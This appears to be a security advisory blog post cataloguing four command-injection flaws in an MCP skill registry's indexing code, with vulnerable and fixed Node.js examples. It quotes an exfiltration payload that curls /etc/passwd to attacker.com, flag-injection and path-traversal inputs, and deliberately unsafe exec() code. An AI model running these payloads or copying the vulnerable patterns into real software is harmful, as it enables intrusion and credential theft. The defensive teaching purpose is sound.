← Blog

Claude MCP skill code injection — skill metadata indexing and search pipeline

SA-SKL-INJECTION19  |  SkillAudit Security Catalog  |  14 Nov 2026
SA-SKL-INJECTION19 findings
HIGHINJECTION19-001 — Elasticsearch index name derived from skill package name via exec(`curl -XPUT http://es:9200/${indexName}`) — package name with / and ? injects path traversal to ES admin API (e.g., /_cluster/settings?flat_settings=true)
HIGHINJECTION19-002 — Search query exec(`grep -r ${searchTerm} /var/skill-index/`) with shell:true — attacker searchTerm "-exec curl attacker.com/$(cat /etc/passwd | base64) ;" triggers find -exec RCE via shell expansion
HIGHINJECTION19-003 — Skill metadata indexing spawns Python subprocess python3 index_skill.py --skill-id ${skillId} — skillId with space and --dry-run flag skips indexing; skillId with --config=/attacker/path overrides config file
MEDIUMINJECTION19-004 — Skill tag normalization exec(`sed -i 's/${rawTag}/${normalTag}/g' tags.txt`) — rawTag containing & sed replacement backreference or / delimiter rewrites unexpected lines

INJECTION19-001 — Elasticsearch index name path traversal reaches admin API

When a new skill is submitted to the registry, an indexing worker creates an Elasticsearch index named after the skill's npm package name. The index creation command is built via string interpolation in an exec() call: exec(`curl -XPUT http://es:9200/${indexName} ...`). npm package names can contain forward slashes (for scoped packages like @author/skill-name) and other characters. An attacker who registers a package named @attacker/skill?flat_settings=true&include_defaults=true/_cluster/settings causes the curl request to path-traverse to the Elasticsearch cluster settings endpoint (http://es:9200/@attacker/skill?.../_cluster/settings), potentially exposing or modifying cluster-wide settings including security configuration, authentication credentials, and shard allocation rules.

Vulnerable
// INJECTION19-001 — VULNERABLE
// Elasticsearch index name built from package name via string interpolation in exec()
// Package name with / ? & characters injects path traversal to ES admin API
const { exec } = require('child_process');

async function createSkillIndex(packageName) {
  // indexName from user-supplied package name — may contain /, ?, & for path traversal
  const indexName = packageName.toLowerCase().replace(/[^a-z0-9@/-]/g, '');
  // Still vulnerable: @ / - are still allowed and / enables path traversal
  return new Promise((resolve, reject) => {
    exec(
      `curl -XPUT http://es:9200/${indexName} -H 'Content-Type: application/json' -d '${indexMapping}'`,
      (err, stdout) => err ? reject(err) : resolve(stdout)
    );
  });
}

// Attacker package: @x/y?pretty/_cluster/settings → reaches ES cluster settings API

Use the native client SDK instead of exec(curl) for database interactions: Any time user input is interpolated into an exec() call that constructs an HTTP request to an internal service, you have both a command injection vector and a path traversal vector. The Elasticsearch JavaScript client (@elastic/elasticsearch) handles index name validation internally and communicates over the native HTTP path without shell expansion. Validate index names against an allowlist regex (/^[a-z0-9_-]+$/) before passing to the client, and use the client's indices.create() method directly.

Fixed
// INJECTION19-001 — FIXED
// Use @elastic/elasticsearch native client — no exec(), no shell, no path traversal
// Validate index name against strict allowlist regex before passing to client

const { Client } = require('@elastic/elasticsearch');
const esClient = new Client({ node: process.env.ELASTICSEARCH_URL });

const INDEX_NAME_RE = /^[a-z0-9][a-z0-9_-]{0,254}$/; // ES index name rules: lowercase, no /

function sanitizeIndexName(packageName) {
  // Derive safe index name: strip scope, lowercase, replace invalid chars with _
  const baseName = packageName
    .replace(/^@[a-z0-9-]+\//, '') // strip npm scope
    .toLowerCase()
    .replace(/[^a-z0-9_-]/g, '_')
    .substring(0, 255);
  if (!INDEX_NAME_RE.test(baseName)) throw new Error(`invalid index name: ${baseName}`);
  return `skills_${baseName}`; // prefix to avoid collision with system indices
}

async function createSkillIndex(packageName) {
  const indexName = sanitizeIndexName(packageName);
  await esClient.indices.create({
    index: indexName,  // passed as structured parameter — no shell, no interpolation
    body: { mappings: skillIndexMapping },
  });
  return indexName;
}

INJECTION19-002 — Shell expansion in grep search query triggers find -exec RCE

The search endpoint uses exec(`grep -r ${searchTerm} /var/skill-index/`, { shell: true }) to search a directory of skill metadata files. The shell: true option passes the entire command string through /bin/sh -c, enabling shell expansion of the search term. An attacker who submits searchTerm: "-exec curl http://attacker.com/$(cat /etc/passwd | base64) \\;" causes the shell to expand the $(cat /etc/passwd | base64) command substitution before grep executes, exfiltrating the contents of /etc/passwd to the attacker's server. The -exec argument is treated as a grep option, but the command substitution executes regardless of whether grep accepts -exec as a flag.

Vulnerable
// INJECTION19-002 — VULNERABLE
// grep with shell:true — shell expands $() command substitution in searchTerm
// Attacker: searchTerm = "-exec curl http://attacker.com/$(cat /etc/passwd|base64) ;"
const { exec } = require('child_process');

function searchSkillIndex(searchTerm) {
  return new Promise((resolve, reject) => {
    // shell:true is the root cause — without it, $() would not be expanded
    exec(`grep -r ${searchTerm} /var/skill-index/`, { shell: true },
      (err, stdout) => err ? reject(err) : resolve(stdout)
    );
  });
}
Fixed
// INJECTION19-002 — FIXED
// execFile with arg array — no shell, no $() expansion, no flag injection
// searchTerm validated against allowlist: alphanumeric + limited punctuation only
// Directory path is server-controlled constant — not from user input

const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

const SEARCH_TERM_RE = /^[a-zA-Z0-9 ._\-:@]{1,128}$/;
const SKILL_INDEX_DIR = '/var/skill-index'; // server-controlled constant

async function searchSkillIndex(searchTerm) {
  if (!SEARCH_TERM_RE.test(searchTerm)) {
    throw new Error('search term contains invalid characters');
  }

  const { stdout } = await execFileAsync(
    'grep',
    [
      '-r',              // recursive
      '-l',              // list filenames only (no content in stdout)
      '--',              // end of options — prevents searchTerm starting with -
      searchTerm,        // treated as literal string, not shell-expanded
      SKILL_INDEX_DIR,   // server-controlled directory
    ],
    {
      timeout: 5000,
      maxBuffer: 1024 * 1024, // 1MB stdout limit
      // No shell option — execFile never spawns a shell
    }
  );
  return stdout.split('\n').filter(Boolean);
}

INJECTION19-003 — Python subprocess skillId argument injection skips indexing

The skill metadata indexing pipeline calls a Python script via child_process.exec(`python3 index_skill.py --skill-id ${skillId}`). The skillId is a user-submitted string that is not validated before interpolation. An attacker who registers a skill with skillId: "legitimate-id --dry-run" causes the Python script to run in dry-run mode, logging that it would index the skill but actually skipping the write. This means the skill is never indexed, and all search queries for it return no results. A more impactful variant uses skillId: "legitimate-id --config=/attacker/controlled/config.yaml" to point the Python script at an attacker-controlled configuration file that overrides the Elasticsearch endpoint, logging destination, or authentication credentials.

Vulnerable
// INJECTION19-003 — VULNERABLE
// exec() with skillId string interpolation — attacker injects --dry-run or --config=
// No argument validation — any space-separated tokens become Python CLI flags
const { exec } = require('child_process');

async function indexSkillMetadata(skillId, metadata) {
  return new Promise((resolve, reject) => {
    // skillId = "abc123 --dry-run" → python3 index_skill.py --skill-id abc123 --dry-run
    // skillId = "abc123 --config=/tmp/evil.yaml" → uses attacker config
    exec(`python3 index_skill.py --skill-id ${skillId}`, (err, stdout) => {
      err ? reject(err) : resolve(stdout);
    });
  });
}
Fixed
// INJECTION19-003 — FIXED
// execFile with arg array — Python CLI args are literal strings, not shell-parsed
// skillId validated as UUID before passing — rejects all flag injection attempts
// metadata passed via stdin as JSON — not as CLI arguments

const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;

async function indexSkillMetadata(skillId, metadata) {
  if (!UUID_RE.test(skillId)) {
    throw new Error(`invalid skillId: must be a UUID, got: ${skillId}`);
  }

  const metadataJson = JSON.stringify(metadata);

  const { stdout } = await execFileAsync(
    'python3',
    [
      'index_skill.py',
      '--skill-id', skillId,  // literal value — execFile never spawns a shell
      '--metadata-stdin',     // tell script to read metadata from stdin
      // No --config flag — config file path is hardcoded in the Python script
    ],
    {
      input: metadataJson,    // metadata passed via stdin, not CLI args
      timeout: 30000,
      env: {
        ...process.env,
        // Strip any PYTHONPATH / PYTHONSTARTUP overrides from env to prevent injection
        PYTHONPATH: '',
        PYTHONSTARTUP: '',
      },
    }
  );

  return JSON.parse(stdout);
}

Use UUID as the canonical ID format to eliminate flag injection: UUIDs match /^[0-9a-f]{8}-...-[0-9a-f]{12}$/i — they contain no spaces, dashes at fixed positions only, and no characters that could be interpreted as CLI flags. When you validate that an ID is a UUID before using it in subprocess calls, you eliminate the entire class of flag injection via ID strings. Never use package names or user-supplied display strings as subprocess arguments — derive a UUID identifier on the server side and use that throughout the indexing pipeline.

INJECTION19-004 — sed replacement backreference in tag normalization rewrites unexpected lines

The skill tag normalization job uses exec(`sed -i 's/${rawTag}/${normalTag}/g' tags.txt`) to replace raw user-submitted tag strings with normalized canonical forms. The sed replacement string in a s/pattern/replacement/ command interprets & as a backreference to the entire matched string in the replacement position. If normalTag contains &, the replacement becomes && (doubles the matched text). If rawTag contains /, it terminates the sed pattern segment early and the remaining characters are interpreted as sed flags or additional commands, potentially causing sed to execute the wrong substitution on the entire file. For a registry whose tags file also contains security policy labels, an attacker who can control tag names can overwrite policy entries.

Vulnerable
// INJECTION19-004 — VULNERABLE
// sed with rawTag in pattern position — / in rawTag terminates sed pattern segment
// & in normalTag is a backreference in replacement — doubles matched text
// shell:true enables additional sed command injection
const { exec } = require('child_process');

async function normalizeTag(rawTag, normalTag) {
  return new Promise((resolve, reject) => {
    // rawTag = "ai/ml" → sed -i 's/ai/ml/security-policy/g' — executes wrong substitution
    // normalTag = "ai&ml" → replacement becomes "ai&ml" with & as backreference
    exec(`sed -i 's/${rawTag}/${normalTag}/g' /var/registry/tags.txt`,
      { shell: true },
      (err) => err ? reject(err) : resolve()
    );
  });
}
Fixed
// INJECTION19-004 — FIXED
// Never use sed for tag normalization with user-supplied strings
// Use Node.js string replacement on file content — no shell, no sed metacharacters
// Validate both rawTag and normalTag against an allowlist before any file operation

const fs = require('fs').promises;
const path = require('path');

const TAG_RE = /^[a-z0-9][a-z0-9-]{0,63}$/; // lowercase alphanumeric + hyphens only
const TAGS_FILE = '/var/registry/tags.txt';

async function normalizeTag(rawTag, normalTag) {
  // Validate both tags against allowlist — no /, &, ;, or shell metacharacters possible
  if (!TAG_RE.test(rawTag)) throw new Error(`invalid rawTag: ${rawTag}`);
  if (!TAG_RE.test(normalTag)) throw new Error(`invalid normalTag: ${normalTag}`);

  // Resolve realpath to prevent directory traversal via symlinks
  const realTagsFile = await fs.realpath(TAGS_FILE);
  if (!realTagsFile.startsWith('/var/registry/')) throw new Error('path traversal detected');

  const content = await fs.readFile(TAGS_FILE, 'utf8');
  // JavaScript string replace — no shell, no sed metacharacters
  // replaceAll ensures global replacement (equivalent to sed 's/pattern/replacement/g')
  const updated = content.replaceAll(rawTag, normalTag);
  await fs.writeFile(TAGS_FILE, updated, { encoding: 'utf8' });
}

Hardening summary

FindingPatternFix
INJECTION19-001Elasticsearch index name from package name via exec(curl); path traversal to ES admin APIUse @elastic/elasticsearch native client SDK; validate index name against /^[a-z0-9_-]+$/
INJECTION19-002exec(grep, shell:true); shell expands $() in search term → find -exec RCEexecFile(['grep', '--', searchTerm, dir]); searchTerm allowlist regex; no shell option
INJECTION19-003Python subprocess with skillId in string interpolation; flag injection skips indexing or overrides configexecFile with arg array; validate skillId as UUID; pass metadata via stdin
INJECTION19-004sed -i with rawTag in pattern; / terminates pattern; & in replacement doubles matchUse Node.js String.replaceAll(); validate tags against /^[a-z0-9-]+$/; never spawn sed with user input

Related: SA-SKL-INJECTION18, SA-SKL-INJECTION17. Run SkillAudit to surface all INJECTION19 patterns in your MCP skill registry.